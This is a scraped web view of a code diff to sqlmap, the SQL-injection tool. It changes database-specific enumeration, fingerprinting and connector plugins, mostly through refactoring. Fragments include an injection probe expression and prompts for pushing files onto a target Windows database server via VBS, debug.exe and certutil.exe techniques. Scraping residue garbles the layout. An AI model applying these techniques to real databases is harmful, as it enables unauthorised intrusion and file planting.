elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
else:
|
else:
|
||||||
return columnExists(paths.COMMON_COLUMNS)
|
return columnExists(paths.COMMON_COLUMNS)
|
||||||
@@ -227,12 +226,10 @@ class Enumeration(GenericEnumeration):
|
|||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
def searchDb(self):
|
def search(self):
|
||||||
warnMsg = "on SAP MaxDB it is not possible to search databases"
|
warnMsg = "on SAP MaxDB search option is not available"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return []
|
|
||||||
|
|
||||||
def getHostname(self):
|
def getHostname(self):
|
||||||
warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname"
|
warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
@@ -91,7 +91,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES):
|
if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES):
|
||||||
setDbms(DBMS.MAXDB)
|
setDbms(DBMS.MAXDB)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
try:
|
try:
|
||||||
import _mssql
|
import _mssql
|
||||||
import pymssql
|
import pymssql
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import arrayizeValue
|
from lib.core.common import arrayizeValue
|
||||||
from lib.core.common import Backend
|
|
||||||
from lib.core.common import getLimitRange
|
from lib.core.common import getLimitRange
|
||||||
from lib.core.common import isInferenceAvailable
|
from lib.core.common import isInferenceAvailable
|
||||||
from lib.core.common import isNoneValue
|
from lib.core.common import isNoneValue
|
||||||
@@ -76,7 +75,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if conf.db:
|
if conf.db:
|
||||||
dbs = conf.db.split(",")
|
dbs = conf.db.split(',')
|
||||||
else:
|
else:
|
||||||
dbs = self.getDbs()
|
dbs = self.getDbs()
|
||||||
|
|
||||||
@@ -164,7 +163,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
|
|
||||||
def searchTable(self):
|
def searchTable(self):
|
||||||
foundTbls = {}
|
foundTbls = {}
|
||||||
tblList = conf.tbl.split(",")
|
tblList = conf.tbl.split(',')
|
||||||
rootQuery = queries[DBMS.MSSQL].search_table
|
rootQuery = queries[DBMS.MSSQL].search_table
|
||||||
tblCond = rootQuery.inband.condition
|
tblCond = rootQuery.inband.condition
|
||||||
tblConsider, tblCondParam = self.likeOrExact("table")
|
tblConsider, tblCondParam = self.likeOrExact("table")
|
||||||
@@ -173,7 +172,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if conf.db:
|
if conf.db:
|
||||||
enumDbs = conf.db.split(",")
|
enumDbs = conf.db.split(',')
|
||||||
elif not len(kb.data.cachedDbs):
|
elif not len(kb.data.cachedDbs):
|
||||||
enumDbs = self.getDbs()
|
enumDbs = self.getDbs()
|
||||||
else:
|
else:
|
||||||
@@ -270,7 +269,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
whereTblsQuery = ""
|
whereTblsQuery = ""
|
||||||
infoMsgTbl = ""
|
infoMsgTbl = ""
|
||||||
infoMsgDb = ""
|
infoMsgDb = ""
|
||||||
colList = conf.col.split(",")
|
colList = conf.col.split(',')
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.excludeCol:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
||||||
@@ -285,7 +284,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if conf.db:
|
if conf.db:
|
||||||
enumDbs = conf.db.split(",")
|
enumDbs = conf.db.split(',')
|
||||||
elif not len(kb.data.cachedDbs):
|
elif not len(kb.data.cachedDbs):
|
||||||
enumDbs = self.getDbs()
|
enumDbs = self.getDbs()
|
||||||
else:
|
else:
|
||||||
@@ -308,7 +307,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
foundCols[column] = {}
|
foundCols[column] = {}
|
||||||
|
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
_ = conf.tbl.split(",")
|
_ = conf.tbl.split(',')
|
||||||
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
||||||
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
|
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
|
||||||
|
|
||||||
@@ -316,7 +315,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if conf.db:
|
if conf.db:
|
||||||
_ = conf.db.split(",")
|
_ = conf.db.split(',')
|
||||||
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
|
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
|
||||||
elif conf.excludeSysDbs:
|
elif conf.excludeSysDbs:
|
||||||
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
||||||
|
|||||||
@@ -46,7 +46,7 @@ class Filesystem(GenericFilesystem):
|
|||||||
scrString = ""
|
scrString = ""
|
||||||
|
|
||||||
for lineChar in fileContent[fileLine:fileLine + lineLen]:
|
for lineChar in fileContent[fileLine:fileLine + lineLen]:
|
||||||
strLineChar = hexencode(lineChar)
|
strLineChar = hexencode(lineChar, conf.encoding)
|
||||||
|
|
||||||
if not scrString:
|
if not scrString:
|
||||||
scrString = "e %x %s" % (lineAddr, strLineChar)
|
scrString = "e %x %s" % (lineAddr, strLineChar)
|
||||||
@@ -382,27 +382,24 @@ class Filesystem(GenericFilesystem):
|
|||||||
if written is False:
|
if written is False:
|
||||||
message = "do you want to try to upload the file with "
|
message = "do you want to try to upload the file with "
|
||||||
message += "the custom Visual Basic script technique? [Y/n] "
|
message += "the custom Visual Basic script technique? [Y/n] "
|
||||||
choice = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if not choice or choice.lower() == "y":
|
if readInput(message, default='Y', boolean=True):
|
||||||
self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
|
self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
|
||||||
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||||
|
|
||||||
if written is False:
|
if written is False:
|
||||||
message = "do you want to try to upload the file with "
|
message = "do you want to try to upload the file with "
|
||||||
message += "the built-in debug.exe technique? [Y/n] "
|
message += "the built-in debug.exe technique? [Y/n] "
|
||||||
choice = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if not choice or choice.lower() == "y":
|
if readInput(message, default='Y', boolean=True):
|
||||||
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
|
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
|
||||||
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||||
|
|
||||||
if written is False:
|
if written is False:
|
||||||
message = "do you want to try to upload the file with "
|
message = "do you want to try to upload the file with "
|
||||||
message += "the built-in certutil.exe technique? [Y/n] "
|
message += "the built-in certutil.exe technique? [Y/n] "
|
||||||
choice = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if not choice or choice.lower() == "y":
|
if readInput(message, default='Y', boolean=True):
|
||||||
self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType)
|
self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType)
|
||||||
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||||
|
|
||||||
|
|||||||
@@ -65,9 +65,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
|
if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES):
|
||||||
or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \
|
|
||||||
Backend.getVersion().isdigit():
|
|
||||||
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
|
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
@@ -84,7 +82,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
if conf.direct:
|
if conf.direct:
|
||||||
result = True
|
result = True
|
||||||
else:
|
else:
|
||||||
result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])")
|
result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg = "confirming %s" % DBMS.MSSQL
|
infoMsg = "confirming %s" % DBMS.MSSQL
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import pymysql
|
import pymysql
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
@@ -37,8 +37,10 @@ class Connector(GenericConnector):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
|
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
|
||||||
except (pymysql.OperationalError, pymysql.InternalError, struct.error), msg:
|
except (pymysql.OperationalError, pymysql.InternalError), msg:
|
||||||
raise SqlmapConnectionException(msg[1])
|
raise SqlmapConnectionException(msg[1])
|
||||||
|
except struct.error, msg:
|
||||||
|
raise SqlmapConnectionException(msg)
|
||||||
|
|
||||||
self.initCursor()
|
self.initCursor()
|
||||||
self.printConnected()
|
self.printConnected()
|
||||||
|
|||||||
@@ -20,7 +20,6 @@ from lib.core.enums import HASHDB_KEYS
|
|||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
@@ -46,12 +45,12 @@ class Fingerprint(GenericFingerprint):
|
|||||||
(32300, 32359), # MySQL 3.23
|
(32300, 32359), # MySQL 3.23
|
||||||
(40000, 40032), # MySQL 4.0
|
(40000, 40032), # MySQL 4.0
|
||||||
(40100, 40131), # MySQL 4.1
|
(40100, 40131), # MySQL 4.1
|
||||||
(50000, 50092), # MySQL 5.0
|
(50000, 50096), # MySQL 5.0
|
||||||
(50100, 50172), # MySQL 5.1
|
(50100, 50172), # MySQL 5.1
|
||||||
(50400, 50404), # MySQL 5.4
|
(50400, 50404), # MySQL 5.4
|
||||||
(50500, 50552), # MySQL 5.5
|
(50500, 50554), # MySQL 5.5
|
||||||
(50600, 50633), # MySQL 5.6
|
(50600, 50635), # MySQL 5.6
|
||||||
(50700, 50715), # MySQL 5.7
|
(50700, 50717), # MySQL 5.7
|
||||||
(60000, 60014), # MySQL 6.0
|
(60000, 60014), # MySQL 6.0
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -95,13 +94,13 @@ class Fingerprint(GenericFingerprint):
|
|||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp and not hasattr(conf, "api"):
|
if wsOsFp and not conf.api:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp and not hasattr(conf, "api"):
|
if dbmsOsFp and not conf.api:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
@@ -150,9 +149,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
|
if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES):
|
||||||
or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
|
|
||||||
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
|
||||||
setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))
|
setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))
|
||||||
|
|
||||||
if Backend.isVersionGreaterOrEqualThan("5"):
|
if Backend.isVersionGreaterOrEqualThan("5"):
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import cx_Oracle
|
import cx_Oracle
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user